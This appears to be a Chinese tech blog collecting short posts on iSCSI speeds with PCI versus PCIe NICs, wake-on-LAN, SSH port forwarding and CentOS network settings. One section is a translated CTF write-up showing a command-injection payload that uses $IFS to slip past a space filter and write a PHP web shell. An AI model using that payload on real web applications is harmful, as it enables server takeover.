PCI/PCIE千兆以太网网络存储的坑

最近新买一台小型HP服务器GEN8,想跟之前的的服务器接到一起,GEN8做存储(ISCSI/Centos),之前的服务器做ESXi来使用ISCSI的存储.
问题来了,写入速度只有20M/s,千兆以太网链路.
经过各方研究,最后在国外的一篇文章中发现一个提示.
http://iscsi-enterprise-target.996254.n3.nabble.com/Slow-iscsitarget-Performance-help-td9866.html

然后,就开始思考PCI/PCIE是不是会有差别,虽然同样是千兆网卡.于是,将之前服务器的两个网卡链路对调(ESXi配置),将网线对调,然后重新测速;速度能够达到50-80M/s,看来问题就在于PCIE/PCI上.

上面是ISCSI测速截图
这是NFS+ESXi Cache开启的情况下的测速

CPU当然还是ISCSI高,因为我的那块PCIE的卡不支持巨型帧(MTU9000)

公网远程网络唤醒的几个关键点

  1. 端口映射,使得路由器或防火墙的某个端口映射到内网机器的某个IP地址
  2. IP/MAC绑定,由于机器还未开机,所以动态MAC地址表中没有机器的MAC地址,路由器或网关设备不知道该发送给谁,因此加入静态的IP/MAC绑定,就可以知道对应该端口的包该发给哪台内网的主机
  3. 开机数据包Magic 可以用在线网页https://www.depicus.com/wake-on-lan/woli 也可以用该网站提供的exe程序,或网上提供的Python脚本.
  4. 最重要的一步是要在进行网络唤醒的机器上开启网络唤醒支持,一般是在BIOS的高级电源管理中,英文名字叫做APM,(Advaced Power Manage),然后根据网卡是PCI还是PCIE来选择是否允许PCI或PCIE进行系统启动.
  5. 之后就可以了
  6. 注意: 在公网启动的时候掩码一般要写255.255.255.255 内网的话(唤醒与被唤醒的机器同一个网段)一般写255.255.255.0,开不了的话就两个都试试,如果还是开不了,就直连试试,如果还是不行,那么就是BIOS配置有问题,如果能开那么就是映射有问题或者掩码有问题.

 

不使用空格执行Bash命令(绕过空格检测执行Bash命令)

原文链接: http://0xa.li/executing-bash-commands-without-space/
大家好,我在一次CTF比赛中和我的队友@aboul3la发现一种在Web应用挑战中进行命令注入的方法.
如果你输入`>file.txt`服务器就会创建一个file.txt的文件
我们想要写入一个PHP的shell,像这样:
echo "<?PHP CODE>" > file.php
但是问题是,这个比赛的题目过滤空格,不让输入空格(Error: Not valid URL)
所以我们尝试很多种办法绕过,一开始的思路是使用解码的方式来获得一个space(空格),比如从hex或者其他的什么解码成一个空格,但是这种方法在echo后面都不凑效

然后我就进行了搜索,看Linux是否自己已经对空格进行了定义.
最后我发现了,确实是$IFS

解决方法是:
echo\$IFS"<?=system(\$_GET[x]);?>">shell.php
如果你要下载东西,那么wget$IFShttps://google.com/robots.txt

14467750403809

英文原文:
Hello, world.

So I was in this CTF competition and my teammate (@aboul3la) found a command injection vulnerability in one of web application challenges.

If you input >file.txt the server creates a file called file.txt.

We wanted to write a PHP shell to the server (echo “<?PHP CODE>” > file.php)
But the thing is, the challenge had a filter that won’t allow you to have a space in the input (Error: Not valid URL)

So we tried around and my first thought was to use some decoding mechanism to decrypt “space” from it’s hex equivalent or something, but we couldn’t do it without a space after the “echo”
Then i thought i should search and see if the space (or tab) is defined in Linux itself.
And i found it: $IFS.

The solution was:
echo$IFS”<?=system($_GET[x]);?>”>shell.php

If you wanted to wget something: wget$IFS”https://google.com/robots.txt”

远程内网端口转发

ncat -l -vv -p 9999 模拟CCPROXY侦听端口

ssh user@60.100.100.110 -R 8080:127.0.0.1:9999 -P 5862

上面是要被访问的内网


下面是本地
ssh user@60.100.100.110 -P 5862 -L 8080:127.0.0.1:8080

ncat localhost 8080 模拟浏览器发送数据

CentOS修改网络配置

一、CentOS 修改IP地址

修改对应网卡的IP地址的配置文件 如果是桌面版可能没有,那么可以直接cp ifcfg-lo ifcfg-eth0然后再做修改

# vim /etc/sysconfig/network-scripts/ifcfg-eth0

修改以下内容

DEVICE=eth0 #描述网卡对应的设备别名,例如ifcfg-eth0的文件中它为eth0
BOOTPROTO=static #设置网卡获得ip地址的方式,可能的选项为static,dhcp或bootp,分别对应静态指定的 ip地址,通过dhcp协议获得的ip地址,通过bootp协议获得的ip地址
BROADCAST=192.168.0.255 #对应的子网广播地址
HWADDR=00:07:E9:05:E8:B4 #对应的网卡物理地址
IPADDR=12.168.1.2 #如果设置网卡获得 ip地址的方式为静态指定,此字段就指定了网卡对应的ip地址
IPV6INIT=no
IPV6_AUTOCONF=no
NETMASK=255.255.255.0 #网卡对应的网络掩码
NETWORK=192.168.1.0 #网卡对应的网络地址
ONBOOT=yes #系统启动时是否设置此网络接口,设置为yes时,系统启动时激活此设备

二、CentOS 修改网关
修改对应网卡的网关的配置文件

[root@centos]# vim /etc/sysconfig/network

修改以下内容

NETWORKING=yes(表示系统是否使用网络,一般设置为yes。如果设为no,则不能使用网络,而且很多系统服务程序将无法启动)
HOSTNAME=centos(设置本机的主机名,这里设置的主机名要和/etc/hosts中设置的主机名对应)
GATEWAY=192.168.1.1(设置本机连接的网关的IP地址。例如,网关为10.0.0.2)

三、CentOS 修改DNS

修改对应网卡的DNS的配置文件

# vi /etc/resolv.conf

修改以下内容

nameserver 8.8.8.8 #google域名服务器
nameserver 8.8.4.4 #google域名服务器

四、重新启动网络配置

# service network restart
或
# /etc/init.d/network restart

修改 IP 地址
即时生效:

# ifconfig eth0 192.168.0.2 netmask 255.255.255.0

启动生效:
修改 /etc/sysconfig/network-scripts/ifcfg-eth0

修改网关 Default Gateway
即时生效:

# route add default gw 192.168.0.1 dev eth0

修改 host name

即时生效:
# hostname centos1